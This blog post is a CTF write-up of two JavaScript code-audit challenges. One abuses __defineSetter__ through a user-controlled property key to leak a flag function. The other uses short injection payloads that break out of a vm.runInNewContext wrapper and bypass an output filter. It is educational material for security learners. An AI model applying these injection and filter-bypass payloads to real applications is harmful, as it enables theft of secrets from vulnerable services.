banner
raye~

Raye's Journey

且趁闲身未老,尽放我、些子疏狂。
medium
tg_channel
telegram
twitter
douban
github
email
nintendo switch
playstation
steam_profiles
zhihu

Two interesting JavaScript code audit questions

image

converter#

The question is a webpage, as follows:

DraggedImage

POST two parameters, Input represents the input data, and converter represents the selected converter.

DraggedImage-1

Analyzing the source code, we can see that there are three converters, which represent three different encoding methods. Among them, flagConverter contains the flag.

However, request.body.converter is restricted and cannot contain FLAG.

  if (request.body.converter.match(/[FLAG]/)) {
    throw new Error("Don't be evil :)");
  }

  if (request.body.input.length < 20) {
    throw new Error('Too short :(');
  }

  if (request.body.input.length > 1000) {
    throw new Error('Too long :(');
  }

After studying, there is no way to break this restriction 🤣

Analysis#

Note that the actual code that calls converter, our two input parameters req.body.converter and req.body.input, where req.body.converter is used as the property name of converters, which means we can control any property of converters (except that the property name cannot contain FLAG).

The code await new Promise is an attempt to convert callback-style asynchronous operations into Promise-style operations, so that await can be used to wait for the execution result. It can be ignored.

And we found that converters is a const type, and each time the encode operation is executed, converters is assigned again (in theory, it can be hardcoded, there is no need to do this for each request)

  converters['base64'] = base64Converter;
  converters['scrypt'] = scryptConverter;
  converters[`FLAG_${request.session.sessionId}`] = flagConverter;

  const result = await new Promise((resolve, reject) => {
    converters[request.body.converter](request.body.input, (error, result) => {
      if (error) {
        reject(error);
      } else {
        resolve(result);
      }
    });
  });

And we know that in JS, although an object's properties may look like only a few, due to the unique prototype chain inheritance relationship in JS, the properties of the Object object are also inherited (so we can try each of these properties one by one).

DraggedImage-2

The __defineSetter__ property is very interesting, it is somewhat similar to reflection, it can act as a proxy for one property of an object, the normal way is like this:

const obj = {
  a: 1
};

// Using __defineGetter__
obj.__defineSetter__('a', function(res) {
	console.log("get res: " + res);
});

If we define a setter, then when assigning a value, the value on the right side of the assignment equation will be passed as the first parameter to the setter function

DraggedImage-3

So, when we input input= FLAG_***SESSION***  (input does not prohibit the input of the FLAG string), converter = __defineSetter__ , the code becomes:

converters["__defineSetter__"]("FLAG_***SESSION***", (error, result) => {
    if (error) {
        reject(error);
    } else {
        resolve(result);
    }
});

So when we rewrite the setter corresponding to the FLAG_***SESSION*** object, this webpage will not change!

Later, open a new webpage to access it, and then trigger:

converters[`FLAG_${request.session.sessionId}`] = flagConverter;

You can see that flagConverter will be passed as the first parameter to the function

(error, result) => {
    if (error) {
        reject(error);
    } else {
        resolve(result);
    }
}

At this time, the result is naturally the error, which is the result of flagConverter.toString()

Return to our first webpage, you can see:

DraggedImage-4

Kantan Calc#

This question is also very interesting, it is a novel code audit in JS, cleverly using sandbox escape to mislead you, and actually using a very common feature of JS

Classic calculator frontend in CTF:
DraggedImage-5

Look at the code:

app.get('/', function (req, res, next) {
  let output = '';
  const code = req.query.code + '';
  console.log(code.length); // Print the length of the input code
  if (code && code.length < 30) {
    try {
      const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, Object.create(null), { timeout: 100 });
      output = result + '';
      if (output.includes('flag')) {
        output = 'Error: please do not exfiltrate the flag';
      }
    } catch (e) {
      output = 'Error: error occurred';
    }
  } else {
    output = 'Error: invalid code';
  }

  res.render('index', { title: 'Kantan Calc', output });
});

The key code is in the line vm.runInNewContext, where the input content is executed as code, such as inputting 2*2

The actual code executed in vm is:

'use strict';
(
	function(){
		return 2*2; /* flag{fake_flag} */
	}
)()

It is actually an immediately invoked function, but here is something to note:

vm.runInNewContext('', Object.create(null))

Object.create(null) actually creates an object with no prototype chain, it is an absolutely "clean" object

Therefore, the most common sandbox escape method cannot be used (I'm too lazy to write it)

Solution#

In JavaScript, you can get the function body by converting the function body to a string:

function a() {}
console.log(a+'')
// "function a() {}"

This way, the flag comment information in the code can be printed out, but even if it is printed out, it will still be intercepted by the subsequent if, what should we do?

The answer is an array, using the weak type conversion of the function toString to return a char array (bypassing the if check), while ensuring that the payload length is less than 30

So let's close the previous function directly, and then open a new function, that is, input:

},function p(){return[...p+1]

Then:

'use strict';
(
	function(){
		return 
	},
	function p(){return[...p+1]; /* flag{fake_flag} */
	}
)()

When the second function p is executed, it first performs addition, captures it as a string, and then deconstructs it into an array, bypassing the check

When looking at the write-up, I also found another idea:

[...arguments[0]+0]})(a=>{

The actual executed code:

'use strict';
(
	function(){
		return [...arguments[0]+0]}
)
(a=>{
			; /* flag{fake_flag} */
	}
)()

It is equivalent to first defining a function

(
	function(){
		return [...arguments[0]+0]
	}
)

Then when calling, passing a parameter (a => {;/*flag{fake_flag}*/}), naturally this function will be passed as the arguments parameter, the same reason (but this case will report an error because the return value is an array and cannot continue to function call)

Summary#

These two questions have also been packaged into Docker images, you can take them if you need:

docker run -d --restart=always -p 3000:3000 rayepeng/kantan_calc:latest
docker run -d --restart=always -p 3000:3000 rayepeng/convert:latest  

In fact, many features of JS can be used to create questions, but there are few code audit questions that are as interesting as PHP, and there are various interesting variations. In the future, I plan to think more about this and try to create some interesting code audit questions that combine JS features.

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.